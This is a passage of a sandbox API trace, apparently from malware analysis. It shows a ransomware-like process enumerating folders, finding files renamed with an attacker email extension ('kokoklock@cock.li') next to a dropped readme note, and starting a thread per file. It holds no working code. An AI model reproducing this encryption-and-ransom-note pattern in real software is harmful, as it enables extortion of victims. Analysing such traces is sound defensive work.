ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x84270d48, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84270d48, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3a88 [0165.338] wcscmp (_String1=".", _String2=".") returned 0 [0165.338] FindNextFileW (in: hFindFile=0x2fe3a88, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x84270d48, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84270d48, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.338] wcscmp (_String1="..", _String2=".") returned 1 [0165.338] wcscmp (_String1="..", _String2="..") returned 0 [0165.338] FindNextFileW (in: hFindFile=0x2fe3a88, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84270d48, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x84270d48, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84270d48, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.338] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.338] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.338] FindNextFileW (in: hFindFile=0x2fe3a88, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x82a4d236, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.338] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.338] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.338] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe4da8 [0165.338] wcscpy (in: _Dest=0x2fe4da8, _Source="C:\\588bce7c90097ed212\\1044" | out: _Dest="C:\\588bce7c90097ed212\\1044") returned="C:\\588bce7c90097ed212\\1044" [0165.338] wcscat (in: _Dest=0x2fe4da8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\" [0165.338] wcscat (in: _Dest=0x2fe4da8, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.641] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe4da8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x598 [0165.642] FindNextFileW (in: hFindFile=0x2fe3a88, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x84270d48, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13680, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.642] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.642] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.642] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6cc30 [0165.642] wcscpy (in: _Dest=0x2f6cc30, _Source="C:\\588bce7c90097ed212\\1044" | out: _Dest="C:\\588bce7c90097ed212\\1044") returned="C:\\588bce7c90097ed212\\1044" [0165.642] wcscat (in: _Dest=0x2f6cc30, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\" [0165.642] wcscat (in: _Dest=0x2f6cc30, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6cc30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618 [0165.643] FindNextFileW (in: hFindFile=0x2fe3a88, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.643] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.643] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.643] FindNextFileW (in: hFindFile=0x2fe3a88, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.643] FindClose (in: hFindFile=0x2fe3a88 | out: hFindFile=0x2fe3a88) returned 1 [0165.644] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe19d8) returned 1 [0165.644] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedb80) returned 1 [0165.644] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fa60) returned 1 [0165.644] RtlExitUserThread (Status=0x0) Thread: id = 1567 os_tid = 0xf58 [0165.340] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2fedbc8 [0165.340] wcscpy (in: _Dest=0x2fedbc8, _Source="C:\\588bce7c90097ed212\\1045" | out: _Dest="C:\\588bce7c90097ed212\\1045") returned="C:\\588bce7c90097ed212\\1045" [0165.340] wcscat (in: _Dest=0x2fedbc8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1045\\") returned="C:\\588bce7c90097ed212\\1045\\" [0165.340] wcscat (in: _Dest=0x2fedbc8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1045\\*") returned="C:\\588bce7c90097ed212\\1045\\*" [0165.340] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1c40 [0165.340] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x843a1fe2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x843a1fe2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3b08 [0165.343] wcscmp (_String1=".", _String2=".") returned 0 [0165.343] FindNextFileW (in: hFindFile=0x2fe3b08, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x843a1fe2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x843a1fe2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.343] wcscmp (_String1="..", _String2=".") returned 1 [0165.343] wcscmp (_String1="..", _String2="..") returned 0 [0165.343] FindNextFileW (in: hFindFile=0x2fe3b08, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x843a1fe2, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x843a1fe2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x843a1fe2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.343] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.343] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.343] FindNextFileW (in: hFindFile=0x2fe3b08, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x829b4924, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1088, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.343] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.343] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.343] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe4e40 [0165.343] wcscpy (in: _Dest=0x2fe4e40, _Source="C:\\588bce7c90097ed212\\1045" | out: _Dest="C:\\588bce7c90097ed212\\1045") returned="C:\\588bce7c90097ed212\\1045" [0165.343] wcscat (in: _Dest=0x2fe4e40, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1045\\") returned="C:\\588bce7c90097ed212\\1045\\" [0165.343] wcscat (in: _Dest=0x2fe4e40, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe4e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c [0165.638] FindNextFileW (in: hFindFile=0x2fe3b08, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x843a1fe2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x14286, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.638] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.638] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.638] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6cb88 [0165.639] wcscpy (in: _Dest=0x2f6cb88, _Source="C:\\588bce7c90097ed212\\1045" | out: _Dest="C:\\588bce7c90097ed212\\1045") returned="C:\\588bce7c90097ed212\\1045" [0165.639] wcscat (in: _Dest=0x2f6cb88, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1045\\") returned="C:\\588bce7c90097ed212\\1045\\" [0165.639] wcscat (in: _Dest=0x2f6cb88, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.639] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6cb88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614 [0165.639] FindNextFileW (in: hFindFile=0x2fe3b08, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.639] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.639] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.639] FindNextFileW (in: hFindFile=0x2fe3b08, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.639] FindClose (in: hFindFile=0x2fe3b08 | out: hFindFile=0x2fe3b08) returned 1 [0165.640] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1c40) returned 1 [0165.640] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedbc8) returned 1 [0165.640] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fc60) returned 1 [0165.640] RtlExitUserThread (Status=0x0) Thread: id = 1568 os_tid = 0xf5c [0165.344] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2feda18 [0165.344] wcscpy (in: _Dest=0x2feda18, _Source="C:\\588bce7c90097ed212\\1046" | out: _Dest="C:\\588bce7c90097ed212\\1046") returned="C:\\588bce7c90097ed212\\1046" [0165.344] wcscat (in: _Dest=0x2feda18, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\" [0165.344] wcscat (in: _Dest=0x2feda18, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1046\\*") returned="C:\\588bce7c90097ed212\\1046\\*" [0165.344] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2378 [0165.344] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8443a930, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8443a930, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3b48 [0165.346] wcscmp (_String1=".", _String2=".") returned 0 [0165.346] FindNextFileW (in: hFindFile=0x2fe3b48, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8443a930, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8443a930, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.346] wcscmp (_String1="..", _String2=".") returned 1 [0165.346] wcscmp (_String1="..", _String2="..") returned 0 [0165.346] FindNextFileW (in: hFindFile=0x2fe3b48, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x844146fb, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x844146fb, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x844146fb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.346] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.346] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.346] FindNextFileW (in: hFindFile=0x2fe3b48, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x829dab9c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf23, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.346] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.346] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.347] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe4c78 [0165.347] wcscpy (in: _Dest=0x2fe4c78, _Source="C:\\588bce7c90097ed212\\1046" | out: _Dest="C:\\588bce7c90097ed212\\1046") returned="C:\\588bce7c90097ed212\\1046" [0165.347] wcscat (in: _Dest=0x2fe4c78, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\" [0165.347] wcscat (in: _Dest=0x2fe4c78, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe4c78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a0 [0165.635] FindNextFileW (in: hFindFile=0x2fe3b48, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x844146fb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13c22, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.635] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.635] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.635] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6cae0 [0165.635] wcscpy (in: _Dest=0x2f6cae0, _Source="C:\\588bce7c90097ed212\\1046" | out: _Dest="C:\\588bce7c90097ed212\\1046") returned="C:\\588bce7c90097ed212\\1046" [0165.635] wcscat (in: _Dest=0x2f6cae0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\" [0165.635] wcscat (in: _Dest=0x2f6cae0, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6cae0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x610 [0165.636] FindNextFileW (in: hFindFile=0x2fe3b48, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.636] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.636] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.636] FindNextFileW (in: hFindFile=0x2fe3b48, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.636] FindClose (in: hFindFile=0x2fe3b48 | out: hFindFile=0x2fe3b48) returned 1 [0165.637] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2378) returned 1 [0165.637] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2feda18) returned 1 [0165.637] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fbe0) returned 1 [0165.637] RtlExitUserThread (Status=0x0) Thread: id = 1569 os_tid = 0xf60 [0165.347] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2feda60 [0165.347] wcscpy (in: _Dest=0x2feda60, _Source="C:\\588bce7c90097ed212\\1049" | out: _Dest="C:\\588bce7c90097ed212\\1049") returned="C:\\588bce7c90097ed212\\1049" [0165.347] wcscat (in: _Dest=0x2feda60, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\" [0165.348] wcscat (in: _Dest=0x2feda60, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1049\\*") returned="C:\\588bce7c90097ed212\\1049\\*" [0165.348] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe25e0 [0165.348] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8432f8aa, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8432f8aa, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3b88 [0165.349] wcscmp (_String1=".", _String2=".") returned 0 [0165.349] FindNextFileW (in: hFindFile=0x2fe3b88, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8432f8aa, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8432f8aa, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.349] wcscmp (_String1="..", _String2=".") returned 1 [0165.349] wcscmp (_String1="..", _String2="..") returned 0 [0165.349] FindNextFileW (in: hFindFile=0x2fe3b88, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8432f8aa, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8432f8aa, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8432f8aa, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.349] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.349] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.349] FindNextFileW (in: hFindFile=0x2fe3b88, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x829681db, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd578, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.349] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.349] wcscmp 